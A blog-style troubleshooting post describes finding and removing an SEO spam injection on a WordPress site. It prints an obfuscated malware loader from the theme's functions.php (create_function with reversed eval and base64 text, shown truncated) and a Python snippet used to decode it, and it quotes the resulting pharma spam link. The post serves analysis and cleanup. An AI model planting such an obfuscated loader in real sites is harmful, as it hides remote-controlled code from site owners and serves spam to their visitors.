I’ve debated on writing this up because I don’t understand a lot about exactly what happened, but I’ll post as much information here as I can.
The problem: I took over the management of a simple WordPress site several months ago, and haven’t had any problems. I don’t host it or own the domain, so most of what I have to do involves content. A few weeks ago an ad appeared above the menu (we’re using the Twenty Eleven theme) and I couldn’t pinpoint it. The text and link varied, and a look at the header code in the theme revealed nothing. Still, the HTML showed up in the rendered page (and across the site). The latest was related to “viagra from india” or something like that. A rude markup shows where the content was injected:
My client finally called me and was quite worried, which was justified. I had looked into it but honestly hadn’t put in the time to dig in. I sat down a couple of days ago and did a little searching, and came up with a few things to try – one of which was addressing the possibility that a plugin used on the site had been compromised.
Looking through the installed plugins, I noticed one that didn’t look like it was necessary and involved disabling menu items. I disabled the plugin, refreshed the page, and the ad was gone. Solved!
No it wasn’t.
My client called yesterday and said the ad was still there. I pulled up the site and didn’t see it. Thinking that maybe it had something to do with the content filter at work, I told him I’d do some research and get back to him.
I got home last night, pulled up the site, and the ad was displayed. I logged in to the admin panel, poked around a bit, and went back to the site – no ad. Turns out the ads don’t display if you have a cookie saved from the site’s admin panel.
More Googling: A couple more searches led me to this post at StackExchange, revealing something I wasn’t looking for but had seen earlier when looking at the site’s files. Specifically, it was a line in the theme’s functions.php file that looked like this:
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQ... [...a very long string - 6416 characters in my case...] ...Q9QnblRnbvNGJ7IiI9QnblRnbvNGJ7lCbyVHJokTO58FbyV3X0V2Zg42bpR3YuVnZ" (edoced_46esab(lave'));?>
I’d seen this before but didn’t pay it much attention (I was looking for offending code in the theme’s display files.) That StackExchange post really helped me realize that the code in functions.php didn’t belong. If you look closely you might notice that the code uses PHP’s strrev() function, which reverses a string. If you reverse the string in the first strrev() call:
You’ll see that it returns the string eval($a);. PHP’s eval() function executes a string as PHP code (and is highly discouraged, by the way). That eval() statement is handed to create_function(), which creates an anonymous function (in this case the function’s name is $a). There are so many layers to this hack – stay with me here…
The next strrev() call takes that very large string that starts with ;))”=owOpI and ends with (edoced_46esab(lave (hint: that’s eval(base64_decode) reversed. A clue…). I copied that string and threw it in my Python terminal to reverse it, and upon discovering that I had a base64-encoded string I decided to decode it and have a look. My Python code:
import base64 s = '=owOpICcoB3Xu [...] 2Zg42bpR3YuVnZ' r = s[::-1] d = base64.b64decode(r) print(d)
This script takes the string and reverses it, decodes it with the base64 decoder, and prints it. Out comes over 200 lines of PHP code that does the following (from what I had the energy to decipher):
- Tries, through several methods, to determine methods by which it can access a URL
- Detects Google, Bing, and Yahoo robots
- Checks for the existence of certain cookies (this is how it hides from WP site admins)
- Accesses one of two different URLs to get content
- Inserts that content into the site
Once found, it was very easy to get rid of. At first I simply commented the line in the functions.php and verified problem resolution, and then deleted the line. Going through the code, while not necessary, was an interesting 120 minutes. I even went so far as to manually browse to one of the URLs it contacted, and it only spit out a base64 string to the browser.
Curious, I decoded that string with Python, which unsurprisingly revealed this:
</div>||||||</div>|||<a href="http://lakeshorewinecellars.com/buy-viagra-from-india/">buy viagra from india</a>
And there you have it. Happy hunting!